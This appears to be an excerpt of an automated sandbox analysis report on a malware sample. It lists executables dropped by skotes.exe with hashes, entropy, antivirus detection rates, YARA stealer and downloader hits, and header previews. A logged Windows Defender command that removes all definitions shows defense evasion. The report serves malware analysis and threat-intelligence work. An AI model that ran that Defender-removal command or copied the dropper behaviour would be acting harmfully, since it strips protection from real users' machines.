
C:\Users\user\AppData\Local\Temp\1017906001\3b81e6737d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4460032
Entropy (8bit):	7.985385064824602
Encrypted:	false
SSDEEP:	98304:uOsbw/GM4JTpF/dHkl1J000ReHSmC3J8qP/vbyN/I5i/H8CCW:1KGKJTpldHkl2mCbP/vbiN7C
MD5:	04869F7ACE61605035664AF9589AF21B
SHA1:	0688D7E4038F6103600011198EDECB98DF152221
SHA-256:	957A5B78C870C0C648884B8EE30F5F437325C94212F4436566CCCBC3B88AA987
SHA-512:	C78F3877D5ADB2847471B300D259B8875A8BA50A9FA1A1C3981C2A3316C8B5131E9D72D0E503557C14B4FD30A78B8D34C810AADE2EC6BDA4729DAF7FC2F8CCAE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@...................................E...@... ............................._.a.s.....a.....................`....................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...yxuskcgf.....0.......T(.............@...pwerqsbo.............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017907001\90ddd682ad.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	557056
Entropy (8bit):	7.97625978005819
Encrypted:	false
SSDEEP:	12288:m1yGb40nH4HBFqIx/d4SosozfXLnHNHOi+VHDXMEKMnjvzmrk:m1yiWFqIx/KSkbX7H1OiFEKMj7R
MD5:	FE1B27214B9109A571700417FDCCDA52
SHA1:	85D8C8FC81B1B90F0B27385D1DC0975E32FB26C1
SHA-256:	A277014D5CDFADBFC4D32A5A80F8A453A2CE09C166CDAA40C915BA5821B593F1
SHA-512:	884654EE5B1BD1654718AA9AB1B1BA31B842B8F5AE03BC2E9282D1C371E9BCA794A52E0B86B0DE684DA5B47CEAF5A860D097EF36A155D371651487DD8FB17515
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@..................................fD...@... ............................._pt.s....`t.....................\|y..............................,y...................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...wssfkfzg.............b(.............@...hxglgwdo.............^C.............@....taggant.0......."...dC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1861120
Entropy (8bit):	7.948090750964882
Encrypted:	false
SSDEEP:	24576:1D3Z+og2dL7dT1TKvDXBujJ535WxkeQaJ4LAQJtbbY9mjrdprIt6vxM2c3WDLKoR:ZJTH/9hWxkeP2Mm7ra6pM2c3+XLl
MD5:	0A678F4E43E83079C1E95517F576A88D
SHA1:	4012A39B2F700273402D3ADBC54F0F87EAC2FA56
SHA-256:	6B17962E6298E3118F5301AF6BDCECCBF3C79663E4A526E128A5C306A232BC01
SHA-512:	C3EE30975F86B80DB6F8B0ED9A032924A12486528E0745D02E1E4372DE1775ECDA86CDD17C28586DCDDE1300A95C66579B707944DCDF445B21CCBA2F4FC6DF63
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .@*..@.......\..............@...speiiqif....../......^..............@...suzusvsz.....pI......@..............@....taggant.0....I.."...D..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.525502925454382
Encrypted:	false
SSDEEP:	49152:HQVhw+9Pg4SnSuG7X6Mv+p7hE9YYBc9U6uq:HmhwUPg4SnSuG7X6xtEuYBc9Urq
MD5:	05BB24F8C4105C056E6B5250B2A5E488
SHA1:	08C3EE6A24FCF83ADC21D807371F5F01CA339892
SHA-256:	82CDD20CCD714049CE3DC46DD095B0CF2642789E69B74BC1397AD3AABE3EE3D8
SHA-512:	93622B8FF9166BCB33BD624900B7734DF4F1D9C60905917F17EDD762044FE89E2C167BAFE92C6C362CC4116CBEA6B8023EFFB28779D7F238F23581736596DD31
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@.......................... O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ygtpparq. ...$.....\|..............@...zzjdxvxy......N.......+.............@....taggant.0....N.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	972800
Entropy (8bit):	6.708509026528111
Encrypted:	false
SSDEEP:	24576:DqDEvCTbMWu7rQYlBQcBiT6rprG8ajxvj:DTvC/MTQYxsWR7ajxv
MD5:	B491AAFA5C2DE82CA9EE4FEB7B1CD477
SHA1:	DE15B7014F0732C945ED22D273EC451658C39A48
SHA-256:	D7B75AAA69694C274F81AEEB056095F8C06308FF6BECCE6EBE51AC1B20A92B94
SHA-512:	09596C7418031EA5C380C9508856B074D2CEFD38218DCEE3ADAD23FFB3880EB73F9F225B8EDF9BDF2100865FC1E28525F9B608131532C11951569CAAB0E7EDDA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....dg.........."..........(......w.............@..........................0.......'....@...@.......@.....................d...\|....@...l.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....l...@...n..................@..@.reloc...u.......v...b..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1730560
Entropy (8bit):	7.932352607527081
Encrypted:	false
SSDEEP:	49152:jxdPvB0tMvfTRGnbR2RW7mzTXNT+a99J9shct:jHPv9lGT6bNKirs
MD5:	19A558B4786AD821CFC44513D9E0AA28
SHA1:	62E74215F0B73D4E95283EE88CE028DA8E0F4629
SHA-256:	6B32A3D15D1D03D6EEC2261B77503F5323CFCD10E3C79B4BDFE6CAF36F6CDA12
SHA-512:	A1711F804DB37019D68FCEF616CC9111D9D3FDDD856860AFF6D431D5F010A1650B2D2E4FA4CF873A2BFCA1FA4504361718D017E4038698EFBECB2B5FB5955D5B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............D.. ...`....@.. ........................D.....Sd....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... ..)..........8..............@...efaooxfi. ...`*......:..............@...covnxbgl. ....D......B..............@....taggant.@....D.."...F..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1017915001\712b285aaa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.941764620524562
Encrypted:	false
SSDEEP:	49152:CpowwwwaaEprit+X7KAzt4UH2Em9bUPy+qVreck:C+wwwwrEpriQH2HbUK+0k
MD5:	FA9DABF05AA60D08C5AA57DA09837347
SHA1:	88A9ADDAA50CB80831ABA6B36D704353D4753E12
SHA-256:	4B3630F249424EF95829D548318C1ACCED7B7A8568B476F9532EB11AAFA721AC
SHA-512:	CFE298155074E25A8668D920958691B5AB21C26BD5AB67C95C0C0E53DAD95476B95EA849567DBE8DED9AE0B780F74495FA0F8167FC48C29048F40D9EAFAC7F03
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i...........nG@.....ZR.....ZC.....ZU.................Z\.....ZB.....ZG....Rich...................PE..L....,.e.....................@...................@.................................tf......................................[.A.o.....@......................................................D...................................................... . ..@......N..................@....rsrc.........@..p...^..............@....idata ......A.....................@... ..(...A.....................@...bdfnosox.@....j..2..................@...zlaaehby............................@....taggant.0......"..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017916001\UZAj8wc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	957952
Entropy (8bit):	7.9986004015143015
Encrypted:	true
SSDEEP:	24576:h2LddHrlBe4LpCuw8VYHcx5WK1zF7JkLYiY:mdZKspwDa5WK/JkLc
MD5:	5B99682CB740202D783DDE58CA97F045
SHA1:	CECAE054552CE295FEAA0717D2A33E870ADDCADD
SHA-256:	724E283E1BB29A150C9BEBC21BDF0E250E2D87257BF86C889BBE7544329C6882
SHA-512:	C37A2CB06407729344ADB85D814223A24EC4FA65F711C7F02C0E77395EC969B7E1BD64A6F5806D4E2D88C8461587D68B6AAE3378D2CF5C92F1ADE2AACC13F2B2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....dg................................. ........@.. ....................................`.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......h................!...............................................(......(.....~....:....r...p.....(....o....s.........~.....~...........j(....r9..p~....o....t....V.rI..p .......o....&j(....(....r]..po....(....2(.....o.......0..g.........8.....(..........&......,.s......r...p(....o.....r...p(....o.....o .......io!..........9.....o"........................".6X....................lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, Pu

C:\Users\user\AppData\Local\Temp\1017917001\7423465717.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017918001\d2256ee69b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017919001\b8dc7af2d8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017920001\194df6b68b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2039808
Entropy (8bit):	7.95190511268852
Encrypted:	false
SSDEEP:	49152:i8yCHGX33Su8Usgk5msPWY14O5Sb7D0Otq+qMnf/w4/T:iPXyuog/Av5/QFqMnf/ww
MD5:	6D4A011DDE3AE4DD05553B27D6FBFC75
SHA1:	EB13D57E83CA18083A52BD4927E6039A0AD87F1E
SHA-256:	DEC151D71C758D3ED3D86403DC1DEB28ECF80793144E32BC9EB0FC76D5209E86
SHA-512:	FDA917FEF5BA08FEB485AB713DD03CA8AD40A5F451698F29DC356ED067967EC866F9D93725F79E79E13D282C01AD2754E15C02E162497B6626CC8829196CB5C6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........M...........@...........................M.....RL....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..+..........V..............@...fhxxuwls......2......X..............@...vzpihbtm......M.....................@....taggant.0....M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017921001\85070a414c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\??? ??\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	709231
Entropy (8bit):	7.928265744460553
Encrypted:	false
SSDEEP:	12288:+LL4iKvkzkKla4OFrrOD3UfffDAgFPJ4G+rx1z5DO3eey7DXQ8zqIF4YLMAiu7:aku9a4OJOIfpRmr/1DO3vyI8j4YwM7
MD5:	D0A5DC8EE956E9180DE9E4B78BC5F45B
SHA1:	CACCAAE3EBA1A297F6213254AA4B1DA3F9B97AA5
SHA-256:	2EB65E03EB327CFE084D50398B4C85CB15519E50D2228073F6F0A9D5C1C5CA1E
SHA-512:	57909E38090D2A960D191BA8C42DE41A3D9899E01AE152F2F1276723857408C67F826FA8610E76788CB592C3E725EF88BAB76C4F7A2F501B77963258933985A0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....].u...SUjIron.../....Kso.;y.}.r..6..B.}'@............G....l......A ....D.H..H.$...o....]...:%.(...k...Z{.S.-..\{.j..z..&.jB.;7...{...-.sF.......6..:....s.3_kD..H_F=.W/..=-}g.R?..P;..}.z.....#.v..#..d...V..Nzi.R..bG..(V..~B..}....q/.....1+........;...S....R...#..[..G<.S..\|.+.2..xf...tE...}_{z...jI.WE\.....=.A.....;..9..aQ?di......Q..#-...........~.....P......m....}..Z...O.g.L.....S.4@l.3.%......P?.......~C......{+...o.v.R.{O..$...}a`.C....D.'.....+.}@....b.`...}...OD..+...1...Z..........q..{.0.<...3.q..wU....7.....{q....}1>...7.......a.^1g....{,.}....-..]..>..{.{.1.......+L.9.b;.X..O^..v.=.1...wY.Z....!......v...0..%.. Q...*6q.]a..q.....w..w...x{..p[j.w....m.......V0...k...-)o.......F.ZZb.O..u\|...v.-..+6.c.......&..s.........}.nN.owK....lB.v..y...Yq...3n.}......!V.~S5o...Yq_....Z....qnF\.[....y........>1.....s....y..\|......i7....7..ru=....=..

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1136093883777107
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrBN+NF5Zk9+MlWlLehW51IC4N+NFZI:QOaqdmOFdjrL+NC+kWResLID+Nc
MD5:	98E7ECD40B422D1CD492C9D59903D500
SHA1:	464AD4BA6919F574256C1BBD0FC4E09633264A34
SHA-256:	D497018A7EFBF33BD58E8732A08F1C00B127B85C312675E9A4F00ABE99EB252C
SHA-512:	A6C35D28B7DD8AA5B2BDC1617B7427BB347233D594E5194765EDCE5EB02E16955BB99406830E53DB0512BF2B5180D864732302AD3558D767427FB587443810FF
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. D.e.c. .. 1.9. .. 2.0.2.4. .1.6.:.1.1.:.1.7.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. D.e.c. .. 1.9. .. 2.0.2.4. .1.6.:.1.1.:.1.7.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RES2DEF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ba, 9 symbols, created Thu Dec 19 22:19:55 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	4.117181464430057
Encrypted:	false
SSDEEP:	24:HmO9w65dyHMwK3NoxXNwI+ycuZhNQrakSpEPNnqSQEgd:h5EzK3NQm1ulSa3mqSZ0
MD5:	F2D066593AF7D7F84517882C52FE1DA1
SHA1:	4999F61F6CF6BC1C4A738E8EA9AC8D81276DD066
SHA-256:	3DDB3642A7BA1152DE3CA80A1E9C119E59A4FC9E9885CE9DD3A58DCA87B93526
SHA-512:	48011BA2DC84C2B9B6F3F6397D8F86C1D25AA977C9EED225A1E02D0B80E4E0D8EA44C99D3AE3102436E92D69450F1CD60A1F7297F8682161F9C622BD4F63811B
Malicious:	false
Reputation:	unknown
Preview:	L.....dg.............debug$S........\|...................@..B.rsrc$01........X.......`...........@..@.rsrc$02........P...j...............@..@........T....c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP................=...."S ..6.O...........5.......C:\Users\user\AppData\Local\Temp\RES2DEF.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...l.2.s.o.p.u.e.t...d.l.l.....(.....L.e.

